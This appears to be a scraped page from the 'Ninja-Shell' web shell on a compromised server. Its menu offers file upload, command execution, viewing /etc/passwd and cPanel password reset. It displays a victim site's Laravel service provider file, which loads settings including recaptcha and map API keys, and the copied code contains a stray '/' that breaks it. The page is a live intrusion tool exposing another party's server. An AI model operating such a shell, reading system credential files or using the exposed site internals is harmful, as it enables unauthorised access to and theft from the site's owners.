{Ninja-Shell}
Home
Info
Upload
Command
View /etc/passwd
cPanel Reset Password
Filename: /var//www/bfti-website/app/Providers/BusinessSettingsServiceProvider.php.save
<?php namespace App\Providers; use Illuminate\Support\ServiceProvider; use App\Models\BusinessSetting; class BusinessSettingsServiceProvider extends ServiceProvider { /** * Bootstrap the application services. * * @return void */ public function boot() { // Retrieve all BusinessSetting records $businessSettings = BusinessSetting::all(); // Perform operations with $businessSettings as needed $settings = [ 'website_name' => $businessSettings->where('key', 'website_name')->first()->value, 'website_slogan' => $businessSettings->where('key', 'website_slogan')->first()->value, 'address' => $businessSettings->where('key', 'address')->first()->value, 'phone' => $businessSettings->where('key', 'phone')->first()->value, 'fax' => $businessSettings->where('key', 'fax')->first()->value, 'email' => $businessSettings->where('key', 'email')->first()->value, 'website' => $businessSettings->where('key', 'website')->first()->value, 'logo' => $businessSettings->where('key', 'logo')->first(), 'fav_icon' => $businessSettings->where('key', 'fav_icon')->first(), 'longitude' => $businessSettings->where('key', 'longitude')->first()->value, 'latitude' => $businessSettings->where('key', 'latitude')->first()->value, 'map_api_key' => $businessSettings->where('key', 'map_api_key')->first()->value, 'recaptcha_key' => $businessSettings->where('key', 'recaptcha_key')->first()->value, 'recaptcha_secret' => $businessSettings->where('key', 'recaptcha_secret')->first()->value, 'facebook_link' => $businessSettings->where('key', 'facebook_link')->first()->value, 'youtube_link' => $businessSettings->where('key', 'youtube_link')->first()->value, 'twitter_link' => $businessSettings->where('key', 'twitter_link')->first()->value, 'linkedin_link' => $businessSettings->where('key', 'linkedin_link')->first()->value, 'meta_title' => $businessSettings->where('key', 'meta_title')->first()->value, 'meta_description' => $businessSettings->where('key', 'meta_description')->first()->value, 'keyword' => $businessSettings->where('key', 'keyword')->first()->value, 'author' => $businessSettings->where('key', 'author')->first()->value, 'web_mail' => $businessSettings->where('key', 'web_mail')->first()->value, 'career_title' => $businessSettings->where('key', 'career_title')->first()->value, / 'career_text' => $businessSettings->where('key', 'career_text')->first()->value, ]; // Example: Share $settings with all views view()->share('settings', $settings); } /** * Register the application services. * * @return void */ public function register() { // } }
./Ninja\.